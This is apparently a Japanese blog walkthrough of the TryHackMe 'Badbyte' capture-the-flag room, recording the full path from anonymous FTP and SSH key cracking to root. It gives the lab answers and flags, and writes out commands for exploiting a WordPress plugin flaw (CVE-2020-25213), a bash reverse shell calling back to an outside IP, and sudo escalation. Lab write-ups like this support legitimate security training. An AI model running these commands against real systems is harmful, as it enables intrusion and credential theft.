【TryHackMe】Badbyte：Walkthrough

# 概要

TryHackMe「Badbyte」のWalkthroughです。

https://tryhackme.com/r/room/badbyte

# Task2

## **Q1**.*How many ports are open?*

ポートスキャンを実行します。

```
$ nmap -Pn -T4 -sVC -A -p- 10.10.40.228 -oN nmap_result
PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 f3:a2:ed:93:4b:9c:bf:bb:33:4d:48:0d:fe:a4:de:96 (RSA)
|   256 22:72:00:36:eb:37:12:9f:5a:cc:c2:73:e0:4f:f1:4e (ECDSA)
|_  256 78:1d:79:dc:8d:41:f6:77:60:65:f5:74:b6:cc:8b:6d (ED25519)
30024/tcp open     ftp     vsftpd 3.0.3
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.6.55.144
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--    1 ftp      ftp          1743 Mar 23  2021 id_rsa
|_-rw-r--r--    1 ftp      ftp            78 Mar 23  2021 note.txt
```

ポートの稼働状況が分かりました。

|ポート|サービス|バージョン|
|:-:|:-:|:-:|
|22|ssh|OpenSSH 7.6p1|
|30024|ftp|vsftpd 3.0.3|

**A**.**2**

## **Q2**.*What service is running on the lowest open port?*

**A**.**ssh**

## **Q3**.*What non-standard port is open?*

**A**.**30024**

## **Q4**.*What service is running on the non-standard port?*

**A**.**ftp**

# Task3

## **Q1**.*What username do we find during the enumeration process?*

**Hint**.*read the note.txt*

FTPにAnonymousログインします。

```
$ ftp -P 30024 10.10.40.228
Connected to 10.10.40.228.
220 (vsFTPd 3.0.3)
Name (10.10.40.228:kali): Anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
```

二つのファイルを発見しました。

```
ftp> ls
229 Entering Extended Passive Mode (|||5857|)
150 Here comes the directory listing.
-rw-r--r--    1 ftp      ftp          1743 Mar 23  2021 id_rsa
-rw-r--r--    1 ftp      ftp            78 Mar 23  2021 note.txt
```

ダウンロードします。

```
ftp> prompt
Interactive mode off.
ftp> mget *
local: id_rsa remote: id_rsa
229 Entering Extended Passive Mode (|||29351|)
150 Opening BINARY mode data connection for id_rsa (1743 bytes).
100% |*****************************************************************************|  1743      730.53 KiB/s    00:00 ETA
226 Transfer complete.
1743 bytes received in 00:00 (7.06 KiB/s)
local: note.txt remote: note.txt
229 Entering Extended Passive Mode (|||50405|)
150 Opening BINARY mode data connection for note.txt (78 bytes).
100% |*****************************************************************************|    78      107.13 KiB/s    00:00 ETA
226 Transfer complete.
78 bytes received in 00:00 (0.31 KiB/s)
```

`note.txt`からユーザー名が分かりました。

```note.txt
I always forget my password. Just let me store an ssh key here.
- errorcauser
```

**A**.**errorcauser**

## **Q2**.*What is the passphrase for the RSA private key?*

FTPからダウンロードした`id_rsa`ファイルのパスフレーズを解析します。

```
$ ssh2john id_rsa > id_hash.txt
$ john id_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
cupcake          (id_rsa)
```

**A**.**cupcake**

# Task4

## **Q1**.*What main TCP ports are listening on localhost?*

パーミッションの設定をし、ターゲットマシンにSSH接続とポートフォワーディングをします。

```
$ chmod 600 id_rsa
```

```
$ ssh -i id_rsa errorcauser@10.10.40.228
-bash-4.4$
```

`/etc/proxychains4.conf`を編集します。

```/etc/proxychains4.conf
(省略)

# socks4        127.0.0.1 9050
socks5 127.0.0.1 1337
```

ターゲットのローカルネットワークにポートスキャンをします。

```
$ proxychains nmap -sT 127.0.0.1
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3306/tcp open  mysql
```


ローカルで動作しているポートが分かったのでSSHでフォワーディングの設定をします。

```
$ ssh -i id_rsa -L 80:127.0.0.1:80 errorcauser@10.10.84.63
```

**A**.**80,3306**

## **Q2**.*What protocols are used for these ports?*

**A**.**http, mysql**

# Task5

## **Q1**.*What CMS is running on the machine?*

SSHポートフォワーディングの設定をし、`80`番ポートにアクセスします。

![local web.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/b618f983-2d25-fce4-9453-c8e1d84ea2ae.jpeg)

フッターから`WordPress`で作成されたことが分かります。

**A**.**wordpress**

## **Q2**.*Can you find any vulnerable plugins?*

**Hint**.*search-limit=1500 and -vv*

Nmapに用意されているWordPressのスクリプトを使用して再度スキャンします。
スクリプトのドキュメントを参考にオプションを設定します。

https://nmap.org/nsedoc/scripts/http-wordpress-enum.html

```
$ nmap -sCV --script http-wordpress-enum.nse --script-args type="plugins",search-limit=1500 -p 80 127.0.0.1 -vv
PORT   STATE SERVICE REASON  VERSION
80/tcp open  http    syn-ack Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-wordpress-enum: 
| Search limited to top 1500 themes/plugins
|   plugins
|     duplicator 1.3.26
|_    wp-file-manager 6.0
```

`duplicator 1.3.26`,`wp-file-manager 6.0`の存在を確認できました。

## **Q3**.*What is the CVE number for directory traversal vulnerability?*

**Hint**.*CVE-2020-11XXX*

`duplicator 1.3.26`プラグインの脆弱性を検索すると`CVE-2020-11738`が見つかりました。

https://www.exploit-db.com/exploits/50420

**A**.**CVE-2020-11738**

## **Q4**.*What is the CVE number for remote code execution vulnerability?*

`wp-file-manager 6.0`の脆弱性を検索すると`CVE-2020-25213`が見つかりました。

https://www.exploit-db.com/exploits/49178

**A**.**CVE-2020-25213**

## **Q6**.*What is the name of user that was running CMS?*

`CVE-2020-25213`のexploitを実行します。
PoCは下記リポジトリを使用しました。

https://github.com/BLY-Coder/Python-exploit-CVE-2020-25213

```
$ python exploit.py http://127.0.0.1:80 id
uid=1000(cth) gid=1000(cth) groups=1000(cth),27(sudo)
```

**A**.**cth**

## **Q7**.*What is the user flag?*

Netcatでリッスンします。

```
$ nc -lvnp 1234
listening on [any] 1234 ...
```

RCEでリバースシェルを張ります。

```
$ python exploit.py http://127.0.0.1:80 'bash -c "bash -i >& /dev/tcp/10.6.55.144/1234 0>&1"'
```

`cth`アカウントでシェルを張れました。
TTYを設定します。

```
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
```

`/home/cth/user.txt`からユーザーフラグを入手できました。

```/home/cth/user.txt
THM{227906201d17d9c45aa93d0122ea1af7}
```

**A**.**THM{227906201d17d9c45aa93d0122ea1af7}**

# Task6

## **Q1**.*What is the user's old password?*

**Hint**.*Basic Linux Enumeration.*

TryHackMeのコンテンツ文からログが怪しいと推測できます。

`/var/log/bash.log`から古いパスワードを得られました。

```/var/log/bash.log
Script started on 2021-03-23 21:05:06+0000
cth@badbyte:~$ whoami
cth
cth@badbyte:~$ date
Tue 23 Mar 21:05:14 UTC 2021
cth@badbyte:~$ suod su

Command 'suod' not found, did you mean:

  command 'sudo' from deb sudo
  command 'sudo' from deb sudo-ldap

Try: sudo apt install <deb name>

cth@badbyte:~$ G00dP@$sw0rd2020
G00dP@: command not found
cth@badbyte:~$ passwd
Changing password for cth.
(current) UNIX password: 
Enter new UNIX password: 
Retype new UNIX password: 
passwd: password updated successfully
cth@badbyte:~$ ls
cth@badbyte:~$ cowsay "vim >>>>>>>>>>>>>>>>> nano"
 ____________________________
< vim >>>>>>>>>>>>>>>>> nano >
 ----------------------------
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||
cth@badbyte:~$ cowsay " g = pi ^ 2 " 
 ______________
<  g = pi ^ 2  >
 --------------
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||
cth@badbyte:~$ cowsay "mooooooooooooooooooo"
 ______________________
< mooooooooooooooooooo >
 ----------------------
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||
cth@badbyte:~$ exit

Script done on 2021-03-23 21:07:03+0000
```

**A**.**G00dP@$sw0rd2020**

## **Q2**.*What is the root flag?*

**Hint**.*What is the new Password? :)*

更新後のパスワードを推測します。
`2020`なので`2021`,`2022`などの可能性があります。

`sudo -l`を実行する際に`G00dP@$sw0rd2021`で認証をパス出来ました。

```
$ sudo -l
sudo -l
[sudo] password for cth: G00dP@$sw0rd2021

Matching Defaults entries for cth on badbyte:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User cth may run the following commands on badbyte:
    (ALL : ALL) ALL
```

rootに昇格できました。

```
$ sudo /bin/bash
sudo /bin/bash
root@badbyte:/var/log#
```

`/root/root.txt`からルートフラグを入手できます。

```/root/root.txt
  |      ______    ________   ________              ______        _____________ __________  |
  |     / ____ \  /  ___   \ /   ____ \            / ____ \      /____    ____//   ______/\ |
  |    / /___/_/ /  /__/   //   /   / /\          / /___/_/      \___/   /\___/   /______\/ |
  |   / _____ \ /  ____   //   /   / / /         / _____ \ __   ___ /   / /  /   ____/\     |
  |  / /____/ //  / __/  //   /___/ / /         / /____/ //  | /  //   / /  /   /____\/     |
  | /________//__/ / /__//_________/ /         /________/ |  \/  //___/ /  /   /________    |
  | \________\\__\/  \__\\_________\/          \________\  \    / \___\/  /____________/\   | 
  |                                  _________           __/   / /        \____________\/   |
  |                                 /________/\         /_____/ /                           |
  |                                 \________\/         \_____\/                            |

THM{ad485b44f63393b6a9225974909da5fa}

 ________________________
< Made with ❤ by BadByte >
 ------------------------
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||
```

**A**.**THM{ad485b44f63393b6a9225974909da5fa}**